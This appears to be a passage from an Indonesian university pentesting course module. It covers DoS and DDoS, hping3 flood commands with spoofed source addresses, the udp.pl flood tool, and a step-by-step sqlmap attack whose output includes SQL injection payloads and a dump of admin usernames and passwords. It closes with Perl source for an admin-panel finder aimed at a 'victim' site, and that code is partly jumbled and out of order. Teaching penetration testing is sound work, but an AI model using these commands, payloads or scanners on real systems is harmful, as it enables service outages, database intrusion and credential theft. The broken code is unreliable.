Mengalihkan   perhatian   dari   sysadmin   untuk   melakukan   tindakan   hacking  lainnya     Melakukan   pemutusan   koneksi   dengan   maksud-‐maksud   komersial   (persaingan  bisnis)     Tindakan   untuk   memasuki   komputer   lain   yang   terkait   pada   satu   jaringan  dengan  server  target  tanpa  dapat  dilacak  oleh  server.      



DoS  Attack  



Serangan   DoS   (denial-‐of-‐service   attacks')   adalah   jenis   serangan   terhadap   sebuah   komputer   atau   server   di   dalam   jaringan   internet   maupun   jaringan   lokal   dengan   modus   menghabiskan   sumber   (resource)   yang   dimiliki   oleh   komputer   tersebut   sampai   komputer   tersebut   tidak   dapat   menjalankan   fungsinya   dengan   benar   sehingga   secara   tidak   langsung   mencegah   pengguna   lain   untuk   memperoleh   akses  layanan  dari  komputer  yang  diserang  tersebut.              
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Perhatikan   gambar   tersebut,   salah   satu   skenario   dos   adalah   melakukan   serangan   dari   satu   titik   ke   titik   yang   lain.   Kali   ini   contohnya   seorang   attacker   (168.12.25.5)   melakukan   serangan   melalui   internet   (public   network)   terhadap   sebuah   perusahaan.   Dan   dos   tersebut   langsung   menuju   kepada   web   server   (132.12.25.1).     4.2.2  



DDoS  Attack  



Sebenarnya   DDoS   attack   sama   konsepnya   dengan   DoS   attack   hanya   saja   kalau   DoS   dilakukan   oleh   tunggal   attacker   sedangkan   DdoS   merupakan   serangan   dengan   banyak   host.   Attacker   yang   melakukan   serangan   DdoS   memakai   banyak   komputer   yang   telah   dia   kuasai   sebelumnya   yang   disebut   sebagai   “zombie”.   Dengan   adanya   zombie-‐zombie   tersebut,   serangan   secara   bersama-‐sama   dan   serentak   pun   dapat  dilakukan  .                       4.2.3  



TCP  Connection  Flood  



TCP  Conncection  Flood  sebenarnya  hampir  sama  dengan  SYN  attack,  serangan  ini   memanfaatkan   adanya   port-‐port   TCP   yang   terbuka   (open)   pada   mesin   target.   Contoh   penggunaan   hping   dalam   penyerangan   DoS   TCP   Connection   Flood   Penggunaan   dengan   SARFU  scan  (Xmas)  



Fakultas  Teknologi  Informasi  Universitas  YARSI  



34  



 #  hping3  -‐q  -‐n  -‐a  10.0.0.1  -‐SARFU  -‐p  445  -‐-‐flood  192.168.1.5  HPING  192.168.1.5   (wlan0   192.168.1.5):   RSAFU   set,   40   headers   +   0   data   bytes   hping   in   flood   mode,   no   replies  will  be  shown     Dengan  mode  interval  :    #   hping3   -‐q   -‐n   -‐a   10.0.0.1   -‐SARFU   -‐p   445   -‐i   u1000   192.168.1.5   HPING   192.168.1.5  (wlan0  192.168.1.5):  RSAFU  set,  40  headers  +  0  data  bytes



              4.2.4  



UDP  Flood  



UDP   flood   attack   adalah   salah   satu   serangan   denial-‐of-‐service   (DoS)   yang   menggunakan   “User   Datagram   Protocol”   (UDP).   Attacker   akan   mengirim   banyak   request   data   UDP   pada   target   kepada   seluruh   (random)   port   terbuka   pada   sebuah   server  target.  Serangan  ini  akan  memaksa  server  korban  mengirimkan  banyak  ICMP   paket   kepada   alamat   yang   mengirimkan   UDP   paket   yang   dalam   jumlah   besar   tersebut.   Namun   attacker   sudah   memodifikasi   alamat   (spoof   address)   sehingga   ICMP   paket   tersebut   tidak   mengarah   terhadap   mesin   attacker.   Dengan   mengirim   paket   UDP   dalam   jumlah   besar,   maka   komputer/server   korban   akan   menerima   setiap   paket   UDP   tersebut   dan   memasukannya   dalam   “waiting   list   progress”   Tentu   saja   akan   menghabiskan   memori   dan   sumber   daya   server   korban.   Sehingga   service   lainnya   yang   harusnya  bekerja  tidak  mendapatkan  sumber  daya.   #   hping3   -‐q   -‐n   -‐a   10.0.0.1   -‐-‐udp   -‐s   53   -‐-‐keep   -‐p   68   -‐-‐flood   192.168.1.5   HPING   192.168.1.5  (wlan0  192.168.1.5):  udp  mode  set,  28  headers  +  0  data  bytes  hping  in  flood   mode,  no  replies  will  be  shown     Kali   ini   saya   hanya   menambahkan   opsi   –udp,   maka   hping   akan   melancarkan   serangan   sesuai   mode   serangan   berbasis   UDP.   Maka   terjadi   penaikan   source   grafik   secara  mendadak  dalam  sistem  target  
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    Contoh  lainnya  dalam  bentuk  interval     #  hping3  -‐i  u1000  -‐c  4  -‐p  -‐2  53  192.168.1.5     Salah   satu   tools   udp   flood   attack   lainnya   adalah   udp.pl.   Anda   dapat   mengaksesnya   pada   direktori   /pentest/misc/udp-‐pl.   Udp.pl   adalah   tools   yang   dibangun   dari   bahasa   pemograman   perl.   Langkah-‐langkahnya   masuk   direktori   dimana   udp.pl   berada  :   #  cd  /pentest/misc/udp-‐pl/     Set  permission  Agar  dapat  diesekusi  langsung  beri  permission  dengan  perintah  :   #  chmod  +x  udp.pl     #  ./udp.pl  [  ip-‐address  ]  [port]  [time]   contoh  :   #  perl  udp.pl  192.168.1.3  53  1  udp  flood  –  odix      



4.3  



Web  Attack  



Web   attack   atau   web   aplication   penetration   testing   sebenarnya   merupakan     tindakan-‐tindakan   pengujian   tingkat   keamanan   aplikasi-‐aplikasi   yang   terlibat   di   dalam   sebuah   mekanisme   web   server.   Aplikasi-‐aplikasi   tersebut   bisa   berupa   bahasa   pemrograman   seperti   php,   asp,   database   seperti   mysql,   postgreSQL   dan   aplikasi-‐aplikasi   web  server,  sebut  saja  apache,  tomcat  ,  dan  lain-‐lain.     Penyerangan   terhadap   aplikasi-‐aplikasi   tersebut   memang   beragam,   salah   satu   di   antaranya   adalah   memanfaatkan   celah   atau   kelemahan   aplikasi   yang   dibuat   secara   sengaja  maupun  tidak  sengaja  oleh  development  (vulnerability).  Web  attack  penetration   tidak  bisa  dianggap  remeh.  Banyak  kasus  dimana  attacker  berhasil  melakukan  privilege   escalation   setelah   melakukan   tahap   exploitation.   Web   Attack   penetration   testing   sangat   perlu   diadakan   jika   ada   layanan  web   pada   suatu   server   atau   jaringan   dikarenakan   alasan   di  bawah  ini.    
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a. Aplikasi   web  rentan  terhadap  serangan  injeksi  yang  dapat   membahayakan   keseluruhan  server   b. Berbagai  open  port  yang  di  buka  oleh  berbagai  aplikasi  web,  memungkinkan   turunnya  atau  berhentinya  mekanisme  seluruh  server.   Web  attack  merupakan  sebuah  aktivitas  yang  dilakukan  oleh  seseorang  dengan   memanfaatkan   sebuah   celah   atau   sisi   kerentanan   pada   aplikasi   web   maupun   server.   Sebenarnya   tidak   sulit   untuk   melakukan   sebuah   aktivitas   hacking,   hanya   saja   butuh   kesabaran   dan   kemauan   yang   kuat   agar   bisa   menguasainya.   Tetapi,   kebanyakan   lebih   memilih  cara-‐cara  yang  instan  dengan  memanfaatkan  tools  yang  lebih  mudah.  



4.4  



SQL  Injection  



Dari  banyak  vulnerability  yang  ada,  SQL  Injection  menduduki  peringkat  pertama   dalam  POC  yang  digunakan  seorang  attacker.     Mengapa  dan  bagaimana?     SQL   injection   adalah   jenis   aksi   hacking   pada   keamanan   komputer   di   mana   seorang   penyerang   bisa   mendapatkan   akses   ke   basis   data   di   dalam   sistem.   SQL   injection   yaitu  serangan  yang  mirip  dengan  serangan  XSS  dalam  bahwa  penyerang  memanfaatkan   aplikasi  vektor  dan  juga  dengan  Common  dalam  serangan  XSS.     SQL   injection   exploits   dan   sejenisnya   adalah   hasil   interfacing   sebuah   bahasa   lewat   informasi   melalui   bahasa   lain.   Dalam   hal   SQL   injection,   sebuah   bahasa   pemrograman  seperti  PHP  atau  Perl  mengakses  database  melalui  SQL  query.    Jika  data   yang  diterima  dari  pengguna  akhir  yang  dikirim  langsung  ke  database  dan  tidak  disaring   dengan  benar,  maka  penyerang  dapat  menyisipkan  perintah  SQL-‐nya  sebagai  bagian  dari   input.   SQL  Injection  memiliki  beberapa  tahapan  utama,  di  antaranya  adalah  :     1. Mencari  Vulnerability   2. Mencari  Database   3. Mencari  Tabel   4. Mencari  Kolom   5. Mencari  Username  dan  Password  Login    



4.5  



SQL  Map  



Sqlmap   adalah   aplikasi   berbasis   command   line   (CLI)   yang   telah   tersedia   pada   backtrack.   SQLmap   dibangun   dari   bahasa   pemograman   Python.   Untuk   mengakses  
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SQLmap   anda   dapat   mengaksesnya   pada   menu   naga   atau   pada   terminal.   Untuk   mengaksesnya  melalui  terminal  kita  harus  masuk  ke  direktorinya  :   #  cd  /pentest/database/sqlmap   Untuk  melihat  opsi-‐opsi  yang  berlaku  pada  SQLMap,  ketikkan  perintah  :    



#  ./sqlmap.py  -‐-‐help  



  4.5.1  



Menampilkan  Database  



Untuk   melihat   database   pada   web   yang   memiliki   vulnerability   terhadap   sql   injection,  anda  bisa  mengetikkan  command  dengan  format  seperti  di  bawah  ini  pada   terminal  yang  sudah  berada  pada  direktori  /pentest/database/sqlmap/  :   #  python  ./sqlmap.py  –u    -‐-‐dbs   root@bt:/pentest/database/sqlmap# python ./sqlmap.py -u www.web_target.com/?post_id=2 --dump sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 13:39:49 [13:39:49] [INFO] testing connection to the target url [13:39:51] [INFO] heuristics detected web page charset 'ascii' [13:39:51] [INFO] testing if the url is stable, wait a few seconds [13:39:53] [INFO] url is stable [13:39:53] [INFO] testing if GET parameter 'post_id' is dynamic [13:39:54] [INFO] confirming that GET parameter 'post_id' is dynamic [13:39:56] [INFO] GET parameter 'post_id' is dynamic [13:39:57] [WARNING] reflective value(s) found and filtering out [13:39:57] [WARNING] heuristic test shows that GET parameter 'post_id' might not be injectable [13:39:57] [INFO] testing for SQL injection on GET parameter 'post_id' [13:39:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [13:40:10] [INFO] GET parameter 'post_id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [13:40:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
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[13:40:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [13:40:12] [INFO] testing 'Microsoft SQL Server/Sybase AND errorbased - WHERE or HAVING clause' [13:40:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [13:40:14] [INFO] testing 'MySQL > 5.0.11 stacked queries' [13:40:15] [INFO] testing 'PostgreSQL > 8.1 stacked queries' [13:40:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries' [13:40:20] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [13:40:32] [INFO] GET parameter 'post_id' is 'MySQL > 5.0.11 AND time-based blind' injectable [13:40:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [13:40:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found [13:40:57] [INFO] target url appears to be UNION injectable with 8 columns [13:41:01] [INFO] GET parameter 'post_id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'post_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection points with a total of 45 HTTP(s) requests: --Place: GET Parameter: post_id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: post_id=2' AND 6063=6063 AND 'cMwX'='cMwX Type: UNION query Title: MySQL UNION query (NULL) - 8 columns Payload: post_id=2' LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a76757a3a,0x6d6263726c69594c4949,0x3a6770613a), NULL, NULL, NULL, NULL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: post_id=2' AND SLEEP(5) AND 'MLhK'='MLhK --[13:41:06] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.4, PHP 5.4.19 back-end DBMS: MySQL 5.0.11 [13:41:06] [INFO] fetching database names available databases [9]: [*] cdcol [*] furniture [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin
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[*] test [*] web_attack [*] webauth [13:41:08] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.web_target.com' [*] shutting down at 13:41:08



Sekarang  kita  sudah  mendapatkan  database-‐nya.     4.5.2  



Menampilkan  Tabel  dalam  Database  



Setelah   mendapatkan   nama   database-‐nya,   kita   dapat   menarik   atau   menampilkan   tabel   pada   database   yang   diinginkan   dengan   mengetikkan   command   berikut  :   #   python   ./sqlmap.py   –u      -‐D     -‐-‐tables   root@bt:/pentest/database/sqlmap# python ./sqlmap.py -u www.web_target.com/?post_id=2 -D web_attack --tables sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 13:42:56 [13:42:56] [INFO] resuming back-end DBMS 'mysql' [13:42:56] [INFO] testing connection to the target url [13:42:57] [INFO] heuristics detected web page charset 'ascii' sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --Place: GET Parameter: post_id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: post_id=2' AND 6063=6063 AND 'cMwX'='cMwX Type: UNION query Title: MySQL UNION query (NULL) - 8 columns Payload: post_id=2' LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a76757a3a,0x6d6263726c69594c4949,0x3a6770613a), NULL, NULL, NULL, NULL, NULL#
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Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: post_id=2' AND SLEEP(5) AND 'MLhK'='MLhK --[13:42:58] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.4, PHP 5.4.19 back-end DBMS: MySQL 5.0.11 [13:42:58] [INFO] fetching tables for database: 'web_attack' [13:42:59] [WARNING] reflective value(s) found and filtering out Database: web_attack [10 tables] +-----------------+ | wy_category | | wy_comment | | wy_login_log | | wy_module | | wy_page | | wy_post | | wy_site_profile | | wy_user | | wy_visitor | | wy_widget | +-----------------+ [13:42:59] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.web_target.com' [*] shutting down at 13:42:59



  4.5.3  



Menampilkan  Column  dari  Tabel  



Informasi   yang   dibutuhkan   semakin   lengkap.   Metode   selanjutnya,   anda   akan   mencari  isi  dari  kolom  pada  tabel  yang  ditemukan  :   #   python   ./sqlmap.py   –u      -‐D     -‐T    -‐-‐columns   root@bt:/pentest/database/sqlmap# python ./sqlmap.py -u www.web_target.com/?post_id=2 -D web_attack -T wy_user --column sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 13:43:46
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[13:43:46] [INFO] resuming back-end DBMS 'mysql' [13:43:46] [INFO] testing connection to the target url [13:43:47] [INFO] heuristics detected web page charset 'ascii' sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --Place: GET Parameter: post_id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: post_id=2' AND 6063=6063 AND 'cMwX'='cMwX Type: UNION query Title: MySQL UNION query (NULL) - 8 columns Payload: post_id=2' LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a76757a3a,0x6d6263726c69594c4949,0x3a6770613a), NULL, NULL, NULL, NULL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: post_id=2' AND SLEEP(5) AND 'MLhK'='MLhK --[13:43:47] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.4, PHP 5.4.19 back-end DBMS: MySQL 5.0.11 [13:43:47] [INFO] fetching columns for table 'wy_user' in database 'web_attack' [13:43:49] [WARNING] reflective value(s) found and filtering out Database: web_attack Table: wy_user [8 columns] +-------------------------+--------------+ | Column | Type | +-------------------------+--------------+ | user_date_register | datetime | | user_email | varchar(255) | | user_full_name | varchar(255) | | user_id | int(11) | | user_ipaddress_register | varchar(16) | | user_level | varchar(20) | | user_name | varchar(255) | | user_password | varchar(255) | +-------------------------+--------------+ [13:43:49] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.web_target.com' [*] shutting down at 13:43:49
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  4.5.4  



Mengeluarkan  Data  dari  dalam  Column  



Untuk   melihat   isi   dari   kolom   yang   telah   anda   dapatkan,   anda   tinggal   memasukkan  perintah  :     #   python   ./sqlmap.py   –u      -‐D     -‐T    -‐C    -‐-‐dump     root@bt:/pentest/database/sqlmap# python ./sqlmap.py -u www.web_target.com/?post_id=2 -D web_attack -T wy_user -C user_name,user_password --dump sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 14:22:51 [14:22:51] [INFO] resuming back-end DBMS 'mysql' [14:22:51] [INFO] testing connection to the target url [14:22:52] [INFO] heuristics detected web page charset 'ascii' sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --Place: GET Parameter: post_id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: post_id=2' AND 6063=6063 AND 'cMwX'='cMwX Type: UNION query Title: MySQL UNION query (NULL) - 8 columns Payload: post_id=2' LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a76757a3a,0x6d6263726c69594c4949,0x3a6770613a), NULL, NULL, NULL, NULL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: post_id=2' AND SLEEP(5) AND 'MLhK'='MLhK --[14:22:53] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.4, PHP 5.4.19 back-end DBMS: MySQL 5.0.11 do you want sqlmap to consider provided column(s): [1] as LIKE column names (default)
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[2] as exact column names > 2 [14:22:57] [INFO] fetching columns 'user_name, user_password' for table 'wy_user' in database 'web_attack' [14:22:58] [WARNING] reflective value(s) found and filtering out [14:22:58] [INFO] fetching entries of column(s) 'user_name, user_password' for table 'wy_user' in database 'web_attack' [14:22:59] [INFO] analyzing table dump for possible password hashes recognized possible password hashes in column 'user_password'. Do you want to crack them via a dictionary-based attack? [Y/n/q] n Database: web_attack Table: wy_user [1 entry] +-----------+------------------------------------------+ | user_name | user_password | +-----------+------------------------------------------+ | sysadmin | sysadmin | +-----------+------------------------------------------+ [14:23:04] [INFO] table 'web_attack.wy_user' dumped to CSV file '/pentest/database/sqlmap/output/www.web_target.com/dump/web_attac k/wy_user.csv' [14:23:04] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.web_target.com' [*] shutting down at 14:23:04 Sekarang kita sudah mendapat data username dan password yang digunakan oleh administrator untuk login ke dalam websitenya.



 



4.6  



Admin  Finder  



Admin   finder   merupakan   tool   yang   digunakan   untuk   mencari   halaman   login   administrator  yang  dibangun  dalam  bahasa  pemrograman  perl.     #!/usr/bin/perl use HTTP::Request; use LWP::UserAgent; system('cls'); system('title Admin CP Finder '); system "color 0a"; print"\n"; print "\t>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n"; print "\t> Admin CP Finder >\n"; print "\t> Created By Cyb3rw0rM >\n"; print "\t> Visit my page on FACEBOOK >\n"; print "\t> http://www.facebook.com/BackTrack.Fan.Page >\n"; print "\t>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n"; print "\n";
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print " Please Enter Site\n Example: www.victim.com or www.victim.com/path\n-> "; $site=; chomp $site; print "\n"; print " Enter site source code\n\n 1 = php\n 2 = asp\n 3 = aspx\n 4 = cfm\n 5 = js\n 6 = cgi\n 7 = brf\n\n-> "; $code=; chomp($code); if ( $site !~ /^http:/ ) { $site = 'http://' . $site; } if ( $site !~ /\/$/ ) { $site = $site . '/'; } print "\n"; print "-> Target: $site\n"; print "-> Site source code: $code\n"; print "-> Searching admin cp...\n\n\n"; if($code eq "2"){ @path1=('admin/','administrator/','admin1/','admin2/','admin3/','a dmin4/','admin5/','moderator/','webadmin/','adminarea/','bbadmin/','adminLogin/','admin_area/','paneladministracion/','instadmin/', 'memberadmin/','administratorlogin/','adm/','account.asp','admin/a ccount.asp','admin/index.asp','admin/login.asp','admin/admin.asp', 'admin_area/admin.asp','admin_area/login.asp','admin/account.html' ,'admin/index.html','admin/login.html','admin/admin.html', 'admin_area/admin.html','admin_area/login.html','admin_area/index. html','admin_area/index.asp','bb-admin/index.asp','bbadmin/login.asp','bb-admin/admin.asp', 'bb-admin/index.html','bb-admin/login.html','bbadmin/admin.html','admin/home.html','admin/controlpanel.html','adm in.html','admin/cp.html','cp.html', 'administrator/index.html','administrator/login.html','administrat or/account.html','administrator.html','login.html','modelsearch/lo gin.html','moderator.html', 'moderator/login.html','moderator/admin.html','account.html','cont rolpanel.html','admincontrol.html','admin_login.html','paneladministracion/login.html', 'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin /admin-login.asp','admin/admin-login.asp','adminlogin.asp','admin/cp.asp','cp.asp', 'administrator/account.asp','administrator.asp','acceso.asp','logi n.asp','modelsearch/login.asp','moderator.asp','moderator/login.as p','administrator/login.asp', 'moderator/admin.asp','controlpanel.asp','admin/account.html','adm inpanel.html','webadmin.html','pages/admin/adminlogin.html','admin/admin-login.html',
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'webadmin/index.html','webadmin/admin.html','webadmin/login.html', 'user.asp','user.html','admincp/index.asp','admincp/login.asp','ad mincp/index.html', 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html', 'home.html','adminarea/index.html','adminarea/admin.html','adminar ea/login.html', 'panel-administracion/index.html','paneladministracion/admin.html','modelsearch/index.html','modelsearch/a dmin.html','admin/admin_login.html', 'admincontrol/login.html','adm/index.html','adm.html','admincontro l.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadm in/index.asp', 'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp', 'admin_login.asp','paneladministracion/login.asp','adminLogin.asp', 'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp ','adminarea/admin.asp','adminarea/login.asp','admin-login.html', 'panel-administracion/index.asp','paneladministracion/admin.asp','modelsearch/index.asp','modelsearch/adm in.asp','administrator/index.asp', 'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp' ,'admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp ', 'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','admini stratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','sit eadmin/login.html' ); foreach $ways(@path1){ $final=$site.$ways; my $req=HTTP::Request->new(GET=>$final); my $ua=LWP::UserAgent->new(); $ua->timeout(30); my $response=$ua->request($req); if($response->content $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~



=~ /Username/ || /Password/ || /username/ || /password/ || /USERNAME/ || /PASSWORD/ || /Username/ || /Wachtwoord/ || /Senha/ || /senha/ || /Personal/ || /Usuario/ || /Clave/ || /Usager/ || /usager/ || /Sing/ || /passe/ || /P\/W/ || /Admin Password/
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){ print " \n [+] Found -> $final\n\n"; }else{ print "[-] Not Found 
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'admincontrol/login.html','adm/index.html','adm.html','moderator/a dmin.html','user.php','account.html','controlpanel.html','admincon trol.html', 'panel-administracion/login.php','wplogin.php','adminLogin.php','admin/adminLogin.php','home.php','adm in.php','adminarea/index.php', 'adminarea/admin.php','adminarea/login.php','paneladministracion/index.php','paneladministracion/admin.php','modelsearch/index.php', 'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser .php','admloginuser.php','admin2.php','admin2/login.php','admin2/i ndex.php','usuarios/login.php', 'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberad min.php','administratorlogin.php' ); foreach $ways(@path2){ $final=$site.$ways; my $req=HTTP::Request->new(GET=>$final); my $ua=LWP::UserAgent->new(); $ua->timeout(30); my $response=$ua->request($req); if($response->content =~ /Username/ || $response->content =~ /Password/ || $response->content =~ /username/ || $response->content =~ /password/ || $response->content =~ /USERNAME/ || $response->content =~ /PASSWORD/ || $response->content =~ /Username/ || $response->content =~ /Wachtwoord/ || $response->content =~ /Senha/ || $response->content =~ /senha/ || $response->content =~ /Personal/ || $response->content =~ /Usuario/ || $response->content =~ /Clave/ || $response->content =~ /Usager/ || $response->content =~ /usager/ || $response->content =~ /Sing/ || $response->content =~ /passe/ || $response->content =~ /P\/W/ || $response->content =~ /Admin Password/ ){ print " \n [+] Found -> $final\n\n"; }else{ print "[-] Not Found 
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@path2=('admin/','administrator/','admin1/','admin2/','admin3/','a dmin4/','admin5/','usuarios/','usuario/','administrator/','moderat or/','webadmin/','adminarea/','bbadmin/','adminLogin/','admin_area/','paneladministracion/','instadmin/', 'memberadmin/','administratorlogin/','adm/','admin/account.cfm','a dmin/index.cfm','admin/login.cfm','admin/admin.cfm','admin/account .cfm', 'admin_area/admin.cfm','admin_area/login.cfm','siteadmin/login.cfm ','siteadmin/index.cfm','siteadmin/login.html','admin/account.html ','admin/index.html','admin/login.html','admin/admin.html', 'admin_area/index.cfm','bb-admin/index.cfm','bbadmin/login.cfm','bbadmin/admin.cfm','admin/home.cfm','admin_area/login.html','admin_a rea/index.html', 'admin/controlpanel.cfm','admin.cfm','admincp/index.asp','admincp/ login.asp','admincp/index.html','admin/account.html','adminpanel.h tml','webadmin.html', 'webadmin/index.html','webadmin/admin.html','webadmin/login.html', 'admin/admin_login.html','admin_login.html','paneladministracion/login.html', 'admin/cp.cfm','cp.cfm','administrator/index.cfm','administrator/l ogin.cfm','nsw/admin/login.cfm','webadmin/login.cfm','admin/admin_ login.cfm','admin_login.cfm', 'administrator/account.cfm','administrator.cfm','admin_area/admin. html','pages/admin/admin-login.cfm','admin/adminlogin.cfm','admin-login.cfm', 'bb-admin/index.html','bb-admin/login.html','bbadmin/admin.html','admin/home.html','login.cfm','modelsearch/login .cfm','moderator.cfm','moderator/login.cfm', 'moderator/admin.cfm','account.cfm','pages/admin/adminlogin.html','admin/admin-login.html','adminlogin.html','controlpanel.cfm','admincontrol.cfm', 'admin/adminLogin.html','acceso.cfm','adminLogin.html','admin/admi nLogin.html','home.html','rcjakar/admin/login.cfm','adminarea/inde x.html','adminarea/admin.html', 'webadmin.cfm','webadmin/index.cfm','webadmin/admin.cfm','admin/co ntrolpanel.html','admin.html','admin/cp.html','cp.html','adminpane l.cfm','moderator.html', 'administrator/index.html','administrator/login.html','user.html', 'administrator/account.html','administrator.html','login.html','mo delsearch/login.html', 'moderator/login.html','adminarea/login.html','paneladministracion/index.html','paneladministracion/admin.html','modelsearch/index.html','modelsearch/a dmin.html', 'admincontrol/login.html','adm/index.html','adm.html','moderator/a dmin.html','user.cfm','account.html','controlpanel.html','admincon trol.html', 'panel-administracion/login.cfm','wplogin.cfm','adminLogin.cfm','admin/adminLogin.cfm','home.cfm','adm in.cfm','adminarea/index.cfm', 'adminarea/admin.cfm','adminarea/login.cfm','paneladministracion/index.cfm','paneladministracion/admin.cfm','modelsearch/index.cfm',
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'modelsearch/admin.cfm','admincontrol/login.cfm','adm/admloginuser .cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/i ndex.cfm','usuarios/login.cfm', 'adm/index.cfm','adm.cfm','affiliate.cfm','adm_auth.cfm','memberad min.cfm','administratorlogin.cfm' ); foreach $ways(@path2){ $final=$site.$ways; my $req=HTTP::Request->new(GET=>$final); my $ua=LWP::UserAgent->new(); $ua->timeout(30); my $response=$ua->request($req); if($response->content =~ /Username/ || $response->content =~ /Password/ || $response->content =~ /username/ || $response->content =~ /password/ || $response->content =~ /USERNAME/ || $response->content =~ /PASSWORD/ || $response->content =~ /Username/ || $response->content =~ /Wachtwoord/ || $response->content =~ /Senha/ || $response->content =~ /senha/ || $response->content =~ /Personal/ || $response->content =~ /Usuario/ || $response->content =~ /Clave/ || $response->content =~ /Usager/ || $response->content =~ /usager/ || $response->content =~ /Sing/ || $response->content =~ /passe/ || $response->content =~ /P\/W/ || $response->content =~ /Admin Password/ ){ print " \n [+] Found -> $final\n\n"; }else{ print "[-] Not Found 
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'admin_area/index.aspx','bb-admin/index.aspx','bbadmin/login.aspx','bbadmin/admin.aspx','admin/home.aspx','admin_area/login.html','admin _area/index.html', 'admin/controlpanel.aspx','admin.aspx','admincp/index.asp','adminc p/login.asp','admincp/index.html','admin/account.html','adminpanel .html','webadmin.html', 'webadmin/index.html','webadmin/admin.html','webadmin/login.html', 'admin/admin_login.html','admin_login.html','paneladministracion/login.html', 'admin/cp.aspx','cp.aspx','administrator/index.aspx','administrato r/login.aspx','nsw/admin/login.aspx','webadmin/login.aspx','admin/ admin_login.aspx','admin_login.aspx', 'administrator/account.aspx','administrator.aspx','admin_area/admi n.html','pages/admin/admin-login.aspx','admin/adminlogin.aspx','admin-login.aspx', 'bb-admin/index.html','bb-admin/login.html','bbadmin/admin.html','admin/home.html','login.aspx','modelsearch/logi n.aspx','moderator.aspx','moderator/login.aspx', 'moderator/admin.aspx','acceso.aspx','account.aspx','pages/admin/a dmin-login.html','admin/admin-login.html','adminlogin.html','controlpanel.aspx','admincontrol.aspx', 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html', 'home.html','rcjakar/admin/login.aspx','adminarea/index.html','adm inarea/admin.html', 'webadmin.aspx','webadmin/index.aspx','webadmin/admin.aspx','admin /controlpanel.html','admin.html','admin/cp.html','cp.html','adminp anel.aspx','moderator.html', 'administrator/index.html','administrator/login.html','user.html', 'administrator/account.html','administrator.html','login.html','mo delsearch/login.html', 